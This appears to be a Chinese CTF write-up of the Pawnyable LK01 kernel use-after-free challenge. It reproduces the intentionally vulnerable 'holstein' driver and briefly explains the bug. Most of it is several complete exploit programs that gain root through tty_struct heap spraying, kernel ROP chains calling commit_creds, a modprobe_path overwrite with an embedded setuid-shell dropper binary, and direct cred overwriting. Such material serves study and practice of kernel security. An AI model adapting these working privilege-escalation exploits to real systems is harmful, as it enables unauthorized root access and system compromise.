原文
Linux Kernel PWN | 040203 Pawnyable之UAF
https://pawnyable.cafe/linux-kernel/LK01/use_after_free.html
题目下载
#include
#include
#include
#include
#include
#include
MODULE_LICENSE("GPL");
MODULE_AUTHOR("ptr-yudai");
MODULE_DESCRIPTION("Holstein v3 - Vulnerable Kernel Driver for Pawnyable");
#define DEVICE_NAME "holstein"
#define BUFFER_SIZE 0x400
char *g_buf = NULL;
static int module_open(struct inode *inode, struct file *file)
{
printk(KERN_INFO "module_open called\n");
g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL);
if (!g_buf) {
printk(KERN_INFO "kmalloc failed");
return -ENOMEM;
}
return 0;
}
static ssize_t module_read(struct file *file,
char __user *buf, size_t count,
loff_t *f_pos)
{
printk(KERN_INFO "module_read called\n");
if (count > BUFFER_SIZE) {
printk(KERN_INFO "invalid buffer size\n");
return -EINVAL;
}
if (copy_to_user(buf, g_buf, count)) {
printk(KERN_INFO "copy_to_user failed\n");
return -EINVAL;
}
return count;
}
static ssize_t module_write(struct file *file,
const char __user *buf, size_t count,
loff_t *f_pos)
{
printk(KERN_INFO "module_write called\n");
if (count > BUFFER_SIZE) {
printk(KERN_INFO "invalid buffer size\n");
return -EINVAL;
}
if (copy_from_user(g_buf, buf, count)) {
printk(KERN_INFO "copy_from_user failed\n");
return -EINVAL;
}
return count;
}
static int module_close(struct inode *inode, struct file *file)
{
printk(KERN_INFO "module_close called\n");
kfree(g_buf);
return 0;
}
static struct file_operations module_fops =
{
.owner = THIS_MODULE,
.read = module_read,
.write = module_write,
.open = module_open,
.release = module_close,
};
static dev_t dev_id;
static struct cdev c_dev;
static int __init module_initialize(void)
{
if (alloc_chrdev_region(&dev_id, 0, 1, DEVICE_NAME)) {
printk(KERN_WARNING "Failed to register device\n");
return -EBUSY;
}
cdev_init(&c_dev, &module_fops);
c_dev.owner = THIS_MODULE;
if (cdev_add(&c_dev, dev_id, 1)) {
printk(KERN_WARNING "Failed to add cdev\n");
unregister_chrdev_region(dev_id, 1);
return -EBUSY;
}
return 0;
}
static void __exit module_cleanup(void)
{
cdev_del(&c_dev);
unregister_chrdev_region(dev_id, 1);
}
module_init(module_initialize);
module_exit(module_cleanup);
驱动可以被同时打开多次,g_buf指向最后一次打开时分配的堆对象 g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL);
#define BUFFER_SIZE 0x400
char *g_buf = NULL;
static int module_open(struct inode *inode, struct file *file)
{
printk(KERN_INFO "module_open called\n");
g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL);
if (!g_buf) {
printk(KERN_INFO "kmalloc failed");
return -ENOMEM;
}
return 0;
}
static int module_close(struct inode *inode, struct file *file)
{
printk(KERN_INFO "module_close called\n");
kfree(g_buf);
return 0;
}
close(fd),会调用module_close,将当前指向g_buf的堆对象空间释放掉,
同时可以通过堆喷占据g_buf释放掉的堆对象,
由于module_close在释放g_buf堆对象时,没有赋值NULL,可以通过另一个fdmodule_close对g_buf指向的堆对象进行读写,也就是修改堆喷对象占据的堆空间,从而进行利用提权。
利用方式与0011-TIPS-pawnyable : Heap-Overflow一致
#include
#include
#include
#include
#include
#include
#define ofs_tty_ops 0xc39c60
unsigned long kbase;
unsigned long g_buf;
int main() {
int spray[100];
int fd1 = open( "/dev/holstein" , O_RDWR);
int fd2 = open( "/dev/holstein" , O_RDWR);
close(fd1); // free(g_buf)
for (int i = 0; i < 100; i++) {
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (spray[i] == -1)
perror("open");
}
char buf[0x400];
read(fd2, buf, 0x400); // read tty_struct
kbase = *(unsigned long *)&buf[0x18] - ofs_tty_ops;
g_buf = *(unsigned long *)&buf[0x38] - 0x38;
printf("[+] leaked kernel base address: 0x%lx\n", kbase);
printf("[+] leaked g_buf address: 0x%lx\n", g_buf);
getchar();
for (int i = 0; i < 100; i++)
close(spray[i]);
return 0;
}
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define SPRAY_NUM 100
#define ofs_tty_ops 0xc39c60
#define prepare_kernel_cred (kbase + 0x72560)
#define commit_creds (kbase + 0x723c0)
#define pop_rdi_ret (kbase + 0x14078a)
#define pop_rcx_ret (kbase + 0x0eb7e4)
#define push_rdx_pop_rsp_pop_ret (kbase + 0x14fbea)
#define mov_rdi_rax_rep_movsq_ret (kbase + 0x638e9b)
#define swapgs_restore_regs_and_return_to_usermode (kbase + 0x800e26)
void spawn_shell();
uint64_t user_cs, user_ss, user_rflags, user_sp;
uint64_t user_rip = (uint64_t)spawn_shell;
unsigned long kbase;
unsigned long g_buf;
int spray[SPRAY_NUM];
void spawn_shell() {
puts("[+] returned to user land");
uid_t uid = getuid();
if (uid == 0) {
printf("[+] got root (uid = %d)\n", uid);
} else {
printf("[!] failed to get root (uid: %d)\n", uid);
exit(-1);
}
puts("[*] spawning shell");
system("/bin/sh");
exit(0);
}
void save_userland_state() {
puts("[*] saving user land state");
__asm__(".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax");
}
int main() {
save_userland_state();
puts("[*] UAF-1: open fd1, fd2; close fd1");
int fd1 = open("/dev/holstein", O_RDWR);
int fd2 = open("/dev/holstein", O_RDWR); // <---------------- 通过 fd2进行操作
close(fd1); // free(g_buf)
printf("[*] spraying %d tty_struct objects\n", SPRAY_NUM / 2);
for (int i = 0; i < SPRAY_NUM / 2; i++) {
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (spray[i] == -1)
perror("open");
}
printf("[*] leaking kernel base and g_buf with tty_struct\n");
char buf[0x400];
read(fd2, buf, 0x400); // read tty_struct
kbase = *(unsigned long *)&buf[0x18] - ofs_tty_ops;
g_buf = *(unsigned long *)&buf[0x38] - 0x38;
printf("[+] leaked kernel base address: 0x%lx\n", kbase);
printf("[+] leaked g_buf address: 0x%lx\n", g_buf);
// craft rop chain and fake function table
printf("[*] crafting rop chain\n");
unsigned long *chain = (unsigned long *)&buf;
*chain++ = pop_rdi_ret;
*chain++ = 0x0;
*chain++ = prepare_kernel_cred;
*chain++ = pop_rcx_ret;
*chain++ = 0;
*chain++ = mov_rdi_rax_rep_movsq_ret;
*chain++ = commit_creds;
*chain++ = pop_rcx_ret;
*chain++ = 0;
*chain++ = pop_rcx_ret;
*chain++ = 0;
*chain++ = swapgs_restore_regs_and_return_to_usermode;
*chain++ = 0x0;
*chain++ = 0x0;
*chain++ = user_rip;
*chain++ = user_cs;
*chain++ = user_rflags;
*chain++ = user_sp;
*chain++ = user_ss;
*(unsigned long *)&buf[0x3f8] = push_rdx_pop_rsp_pop_ret; //
printf("[*] overwriting tty_struct target-1 with rop chain and fake ioctl ops\n");
write(fd2, buf, 0x400);
puts("[*] UAF-2: open fd3, fd4; close fd3");
int fd3 = open("/dev/holstein", O_RDWR);
int fd4 = open("/dev/holstein", O_RDWR);
close(fd3); // free(g_buf)
printf("[*] spraying %d tty_struct objects\n", SPRAY_NUM / 2);
for (int i = SPRAY_NUM / 2; i < SPRAY_NUM; i++) {
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (spray[i] == -1)
perror("open");
}
printf("[*] overwriting tty_struct target-2 with fake tty_ops ptr\n");
read(fd4, buf, 0x400);
*(unsigned long *)&buf[0x18] = g_buf + 0x3f8 - 12 * 8;
write(fd4, buf, 0x20);
printf("[*] invoking ioctl to hijack control flow\n");
// hijack control flow
for (int i = SPRAY_NUM / 2; i < SPRAY_NUM; i++) {
ioctl(spray[i], 0, g_buf - 8);
}
getchar();
close(fd2);
close(fd4);
for (int i = 0; i < SPRAY_NUM; i++)
close(spray[i]);
return 0;
}
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define SPRAY_NUM 100
#define ofs_tty_ops 0xc39c60
#define mov_esp_0x39000000_ret (kbase + 0x5b5410)
#define prepare_kernel_cred (kbase + 0x72560)
#define commit_creds (kbase + 0x723c0)
#define pop_rdi_ret (kbase + 0x14078a)
#define pop_rcx_ret (kbase + 0x0eb7e4)
#define mov_rdi_rax_rep_movsq_ret (kbase + 0x638e9b)
#define swapgs_restore_regs_and_return_to_usermode (kbase + 0x800e26)
void fatal(char *msg) {
perror(msg);
exit(-1);
}
void spawn_shell();
uint64_t user_cs, user_ss, user_rflags, user_sp;
uint64_t user_rip = (uint64_t)spawn_shell;
unsigned long kbase;
int spray[SPRAY_NUM];
void spawn_shell() {
puts("[+] returned to user land");
uid_t uid = getuid();
if (uid == 0) {
printf("[+] got root (uid = %d)\n", uid);
} else {
printf("[!] failed to get root (uid: %d)\n", uid);
exit(-1);
}
puts("[*] spawning shell");
system("/bin/sh");
exit(0);
}
void save_userland_state() {
puts("[*] saving user land state");
__asm__(".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax");
}
int main() {
save_userland_state();
puts("[*] UAF-1: open fd1, fd2; close fd1");
int fd1 = open("/dev/holstein", O_RDWR);
int fd2 = open("/dev/holstein", O_RDWR);
close(fd1); // free(g_buf)
printf("[*] spraying %d tty_struct objects\n", SPRAY_NUM / 2);
for (int i = 0; i < SPRAY_NUM / 2; i++) {
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (spray[i] == -1)
perror("open");
}
printf("[*] leaking kernel base and g_buf with tty_struct\n");
char buf[0x400];
read(fd2, buf, 0x400); // read tty_struct
kbase = *(unsigned long *)&buf[0x18] - ofs_tty_ops;
printf("[+] leaked kernel base address: 0x%lx\n", kbase);
if ((kbase & 0xffffffffffff0000) == 0xffffffffffff0000) {
printf("[-] heap spraying failed\n");
exit(-1);
}
char *userland = mmap((void *)(0x39000000 - 0x4000), 0x8000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
if ((unsigned long *)userland == (unsigned long *)-1)
fatal("mmap");
printf("[+] 0x%lx address mmaped\n", (unsigned long)userland);
// craft rop chain and fake function table
printf("[*] crafting rop chain from 0x39000000\n");
unsigned long *chain = (unsigned long *)0x39000000;
*chain++ = pop_rdi_ret;
*chain++ = 0x0;
*chain++ = prepare_kernel_cred;
*chain++ = pop_rcx_ret;
*chain++ = 0;
*chain++ = mov_rdi_rax_rep_movsq_ret;
*chain++ = commit_creds;
*chain++ = pop_rcx_ret;
*chain++ = 0;
*chain++ = pop_rcx_ret;
*chain++ = 0;
*chain++ = pop_rcx_ret;
*chain++ = mov_esp_0x39000000_ret; // fake ops ioctl
*chain++ = swapgs_restore_regs_and_return_to_usermode;
*chain++ = 0x0;
*chain++ = 0x0;
*chain++ = user_rip;
*chain++ = user_cs;
*chain++ = user_rflags;
*chain++ = user_sp;
*chain++ = user_ss;
puts("[*] UAF-2: open fd3, fd4; close fd3");
int fd3 = open("/dev/holstein", O_RDWR);
int fd4 = open("/dev/holstein", O_RDWR);
close(fd3); // free(g_buf)
printf("[*] spraying %d tty_struct objects\n", SPRAY_NUM / 2);
for (int i = SPRAY_NUM / 2; i < SPRAY_NUM; i++) {
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (spray[i] == -1)
perror("open");
}
printf("[*] overwriting tty_struct target-2 with fake tty_ops ptr at 0x39000000\n");
read(fd4, buf, 0x20);
*(unsigned long *)&buf[0x18] = 0x39000000;
write(fd4, buf, 0x20);
printf("[*] invoking ioctl to hijack control flow\n");
// hijack control flow
for (int i = SPRAY_NUM / 2; i < SPRAY_NUM; i++) {
ioctl(spray[i], 0, 0);
}
getchar();
close(fd2);
close(fd4);
for (int i = 0; i < SPRAY_NUM; i++)
close(spray[i]);
return 0;
}
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define SPRAY_NUM 100
#define ofs_tty_ops 0xc39c60
#define mov_ptr_rdx_rcx_ret (kbase + 0x1b2d06)
#define mov_eax_ptr_rdx_ret (kbase + 0x4469e8)
#define modprobe_path (kbase + 0xe38480)
int fd1, fd2, fd3, fd4;
unsigned long kbase;
unsigned long g_buf;
int spray[SPRAY_NUM];
char buf[0x400];
char win_condition[] = "/tmp/evil";
/*
* Ref: https://0x434b.dev/dabbling-with-linux-kernel-exploitation-ctf-challenges-to-learn-the-ropes/#version-3-probing-the-mods
* Dropper...:
* fd = open("/tmp/win", 0_WRONLY | O_CREAT | O_TRUNC);
* write(fd, shellcode, shellcodeLen);
* chmod("/tmp/win", 0x4755);
* close(fd);
* exit(0)
*
* ... who drops some shellcode ELF:
* setuid(0);
* setgid(0);
* execve("/bin/sh", ["/bin/sh"], NULL);
*/
unsigned char dropper[] = {
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x03, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00,
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xb9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xb9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xb0, 0x02, 0x48, 0x8d, 0x3d, 0x3b, 0x00, 0x00,
0x00, 0xbe, 0x41, 0x02, 0x00, 0x00, 0x0f, 0x05,
0x48, 0x89, 0xc7, 0x48, 0x8d, 0x35, 0x33, 0x00,
0x00, 0x00, 0xba, 0xa0, 0x00, 0x00, 0x00, 0xb0,
0x01, 0x0f, 0x05, 0x48, 0x31, 0xc0, 0xb0, 0x03,
0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x13, 0x00, 0x00,
0x00, 0xbe, 0xff, 0x0d, 0x00, 0x00, 0xb0, 0x5a,
0x0f, 0x05, 0x48, 0x31, 0xff, 0xb0, 0x3c, 0x0f,
0x05, 0x00, 0x00, 0x00, 0x2f, 0x74, 0x6d, 0x70,
0x2f, 0x77, 0x69, 0x6e, 0x00, 0x7f, 0x45, 0x4c,
0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x3e,
0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0xa0, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0xa0, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff,
0xb0, 0x69, 0x0f, 0x05, 0x48, 0x31, 0xff, 0xb0,
0x6a, 0x0f, 0x05, 0x48, 0xbb, 0xd1, 0x9d, 0x96,
0x91, 0xd0, 0x8c, 0x97, 0xff, 0x48, 0xf7, 0xdb,
0x53, 0x48, 0x89, 0xe7, 0x56, 0x57, 0x48, 0x89,
0xe6, 0xb0, 0x3b, 0x0f, 0x05};
int cache_fd = -1;
void AAW32(unsigned long addr, unsigned int val) {
printf("[*] AAW: writing 0x%x at 0x%lx\n", val, addr);
if (cache_fd == -1) {
read(fd4, buf, 0x400);
*(unsigned long *)&buf[0x18] = g_buf + 0x3f8 - 12 * 8;
write(fd4, buf, 0x20);
for (int i = SPRAY_NUM / 2; i < SPRAY_NUM; i++) {
int v = ioctl(spray[i], val, addr /* rdx */);
if (v != -1) {
printf("[+] target tty_struct index: #%d\n", i);
cache_fd = spray[i];
break;
}
}
} else
ioctl(cache_fd, val, addr);
}
int main() {
puts("[*] UAF: open fd1, fd2; close fd1");
fd1 = open("/dev/holstein", O_RDWR);
fd2 = open("/dev/holstein", O_RDWR);
close(fd1); // free(g_buf)
printf("[*] spraying %d tty_struct objects\n", SPRAY_NUM / 2);
for (int i = 0; i < SPRAY_NUM / 2; i++) {
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (spray[i] == -1)
perror("open");
}
printf("[*] leaking kernel base and g_buf with tty_struct\n");
read(fd2, buf, 0x400); // read tty_struct
kbase = *(unsigned long *)&buf[0x18] - ofs_tty_ops;
g_buf = *(unsigned long *)&buf[0x38] - 0x38;
printf("[+] leaked kernel base address: 0x%lx\n", kbase);
printf("[+] leaked g_buf address: 0x%lx\n", g_buf);
if ((g_buf & 0xffffffff00000000) == 0xffffffff00000000) {
printf("[-] heap spraying failed\n");
for (int i = 0; i < SPRAY_NUM / 2; i++)
close(spray[i]);
exit(-1);
}
*(unsigned long *)&buf[0x3f8] = mov_ptr_rdx_rcx_ret;
write(fd2, buf, 0x400);
puts("[*] UAF-2: open fd3, fd4; close fd3");
fd3 = open("/dev/holstein", O_RDWR);
fd4 = open("/dev/holstein", O_RDWR);
close(fd3); // free(g_buf)
printf("[*] spraying %d tty_struct objects\n", SPRAY_NUM / 2);
for (int i = SPRAY_NUM / 2; i < SPRAY_NUM; i++) {
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (spray[i] == -1)
perror("open");
}
for (int i = 0; i < sizeof(win_condition); i += 4)
AAW32(modprobe_path + i, *(unsigned int *)&win_condition[i]);
FILE *fptr = fopen(win_condition, "w");
if (!fptr) {
puts("[!] Failed to open win condition");
exit(-1);
}
if (fwrite(dropper, sizeof(dropper), 1, fptr) < 1) {
puts("[!] Failed to write win condition");
exit(-1);
}
fclose(fptr);
if (chmod(win_condition, 0777) < 0) {
puts("[!] Failed to chmod win condition");
exit(-1);
};
puts("[+] win_condition (dropper) written to /tmp/evil");
puts("[*] triggering modprobe");
system("chmod +x /tmp/evil");
system("echo -e '\xde\xad\xbe\xef' > /tmp/pwn");
system("chmod +x /tmp/pwn");
system("/tmp/pwn"); // trigger modprobe_path
puts("[*] spawning root shell");
system("/tmp/win");
return 0;
}
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define SPRAY_NUM 100
#define ofs_tty_ops 0xc39c60
#define mov_ptr_rdx_rcx_ret (kbase + 0x1b2d06)
#define mov_eax_ptr_rdx_ret (kbase + 0x4469e8)
void fatal(char *msg) {
perror(msg);
exit(-1);
}
int fd1, fd2, fd3, fd4;
unsigned long kbase;
unsigned long g_buf;
int spray[SPRAY_NUM];
char buf[0x400];
int cache_fd_aaw = -1;
int cache_fd_aar = -1;
unsigned int AAR32(unsigned long addr) {
if (cache_fd_aar == -1) {
read(fd4, buf, 0x20);
*(unsigned long *)&buf[0x18] = g_buf + 0x3f8 - 12 * 8;
write(fd4, buf, 0x20);
for (int i = SPRAY_NUM / 2; i < SPRAY_NUM; i++) {
int v = ioctl(spray[i], 0, addr /* rdx */);
if (v != -1) {
cache_fd_aar = spray[i];
return v;
}
}
} else
return ioctl(cache_fd_aar, 0, addr);
}
void AAW32(unsigned long addr, unsigned int val) {
printf("[*] AAW: writing 0x%x at 0x%lx\n", val, addr);
if (cache_fd_aaw == -1) {
read(fd4, buf, 0x20);
*(unsigned long *)&buf[0x18] = g_buf + 0x3f0 - 12 * 8;
write(fd4, buf, 0x20);
for (int i = SPRAY_NUM / 2; i < SPRAY_NUM; i++) {
int v = ioctl(spray[i], val, addr /* rdx */);
if (v != -1) {
cache_fd_aaw = spray[i];
break;
}
}
} else
ioctl(cache_fd_aaw, val, addr);
}
int main() {
puts("[*] UAF-1: open fd1, fd2; close fd1");
fd1 = open("/dev/holstein", O_RDWR);
fd2 = open("/dev/holstein", O_RDWR);
close(fd1); // free(g_buf)
printf("[*] spraying %d tty_struct objects\n", SPRAY_NUM / 2);
for (int i = 0; i < SPRAY_NUM / 2; i++) {
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (spray[i] == -1)
perror("open");
}
printf("[*] leaking kernel base and g_buf with tty_struct\n");
read(fd2, buf, 0x400); // read tty_struct
kbase = *(unsigned long *)&buf[0x18] - ofs_tty_ops;
g_buf = *(unsigned long *)&buf[0x38] - 0x38;
printf("[+] leaked kernel base address: 0x%lx\n", kbase);
printf("[+] leaked g_buf address: 0x%lx\n", g_buf);
if ((g_buf & 0xffffffff00000000) == 0xffffffff00000000) {
printf("[-] heap spraying failed\n");
for (int i = 0; i < SPRAY_NUM / 2; i++)
close(spray[i]);
exit(-1);
}
*(unsigned long *)&buf[0x3f0] = mov_ptr_rdx_rcx_ret;
*(unsigned long *)&buf[0x3f8] = mov_eax_ptr_rdx_ret;
write(fd2, buf, 0x400);
puts("[*] UAF-2: open fd3, fd4; close fd3");
fd3 = open("/dev/holstein", O_RDWR);
fd4 = open("/dev/holstein", O_RDWR);
close(fd3); // free(g_buf)
printf("[*] spraying %d tty_struct objects\n", SPRAY_NUM / 2);
for (int i = SPRAY_NUM / 2; i < SPRAY_NUM; i++) {
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (spray[i] == -1)
perror("open");
}
puts("[*] changing .comm");
if (prctl(PR_SET_NAME, "aptx4869") != 0)
fatal("prctl");
unsigned long addr;
for (addr = g_buf - 0x1000000;; addr += 0x8) {
if ((addr & 0xfffff) == 0)
printf("[*] searching for .comm at 0x%lx\n", addr);
if (AAR32(addr) == 0x78747061 && AAR32(addr + 4) == 0x39363834) {
printf("[+] .comm found at 0x%lx\n", addr);
break;
}
}
unsigned long addr_cred = 0;
addr_cred |= AAR32(addr - 8);
addr_cred |= (unsigned long)AAR32(addr - 4) << 32;
printf("[+] current->cred = 0x%lx\n", addr_cred);
puts("[*] changing cred to root");
for (int i = 1; i < 9; i++)
AAW32(addr_cred + i * 4, 0);
puts("[*] spawning root shell");
system("/bin/sh");
return 0;
}